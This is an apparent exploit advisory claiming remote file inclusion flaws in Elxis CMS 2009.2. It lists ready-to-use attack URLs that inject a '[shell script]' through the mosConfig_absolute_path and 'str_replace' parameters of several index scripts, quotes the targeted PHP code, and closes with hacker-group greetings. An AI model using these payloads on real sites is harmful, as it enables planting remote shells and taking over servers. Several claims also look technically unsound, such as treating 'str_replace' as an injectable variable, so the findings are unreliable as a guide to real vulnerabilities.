Elxis CMS 2009.2 – Remote File Inclusion
############################################### # _______ _______ # # _______ __ __ \_______ __ __ \____ __ # # __ _ \_ / / /__ __ \_ / / /__ |/_/ # # _ / / // /_/ / _ / / // /_/ / __> < # # /_/ /_/ \____/ /_/ /_/ \____/ /_/|_| # # # # priasantai.uni.cc | team-elite.us # ############################################### ####################################################### # # elxis_2009.2_electra_rev2631 <=== multiple Remote File Include # ####################################################### # Author : n0n0x # # Homepage: http://priasantai.uni.cc/ # # Download script : http://www.elxis-downloads.com/downloads/elxis-cms/272.html ####################################################### file : index.php http://site.com/elxis-cms/index.php?mosConfig_absolute_path=[shell script] c0de : require_once('configuration.php'); if (file_exists($mosConfig_absolute_path.'/installation/index.php')) { if (!defined('_ELXIS_SYSALERT')) { define('_ELXIS_SYSALERT', 3); } if (!defined('_ELXIS_SYSALERT_MSG')) { define('_ELXIS_SYSALERT_MSG', 'Please delete the <strong>installation</strong> folder.'); } include($mosConfig_absolute_path.'/includes/systemplates/router.php'); exit(); } require_once($mosConfig_absolute_path.'/includes/Core/loader.php'); file : index2.php http://site.com/elxis-cms/index2.php?mosConfig_absolute_path=[shell script] c0de : require_once('configuration.php'); $mosConfig_gzip = '0'; //gzip makes seo title suggestion feature to stop working if (file_exists($mosConfig_absolute_path.'/installation/index.php')) { if (!defined('_ELXIS_SYSALERT')) { define('_ELXIS_SYSALERT', 3); } if (!defined('_ELXIS_SYSALERT_MSG')) { define('_ELXIS_SYSALERT_MSG', 'Please delete the <strong>installation</strong> folder.'); } include($mosConfig_absolute_path.'/includes/systemplates/router.php'); exit(); } require_once( $mosConfig_absolute_path.'/includes/Core/loader.php' ); file : index.php http://site.com/elxis-cms/administrator/index.php?str_replace=[shell script] c0de : /** Set flag that this is a parent file */ define( '_VALID_MOS', 1 ); define( '_ELXIS_ADMIN', 1 ); $elxis_root = str_replace('/administrator', '', str_replace(DIRECTORY_SEPARATOR, '/', dirname(__FILE__))); require_once($elxis_root.'/includes/Core/security.php'); if (!file_exists($elxis_root.'/configuration.php')) { header('Location: ../installation/index.php'); exit(); } require_once($elxis_root.'/configuration.php'); require_once($elxis_root.'/includes/Core/loader.php'); file : index2.php http://site.com/elxis-cms/administrator/index2.php?str_replace=[shell script] http://site.com/elxis-cms/administrator/index2.php?mosConfig_absolute_path=[shell script] c0de : define( '_VALID_MOS', 1 ); define( '_ELXIS_ADMIN', 1 ); $elxis_root = str_replace('/administrator', '', str_replace(DIRECTORY_SEPARATOR, '/', dirname(__FILE__))); require_once($elxis_root.'/includes/Core/security.php'); if (!file_exists($elxis_root.'/configuration.php' )) { header("Location: ../installation/index.php"); exit(); } require_once($elxis_root.'/configuration.php'); require_once($elxis_root.'/includes/Core/loader.php'); require_once($mosConfig_absolute_path.'/administrator/includes/admin.php'); ####################################################### # Greetz: all member | manadocoding.org - sekuritiOnline.net - h4ckb0x.org - team-elite.us # # friends: angky.tatoki, EA ngel, bL4Ck_3n91n3, opa, xoron, pitch, thama, s0ny, # devilbat, cr4wl3r, cyberl0g, lumut-, Anti_Hack, DskyMC, mr.c, doniskynet. # # chats : irc.auzs.net 6667-7000 #exploit-db ###################################################### |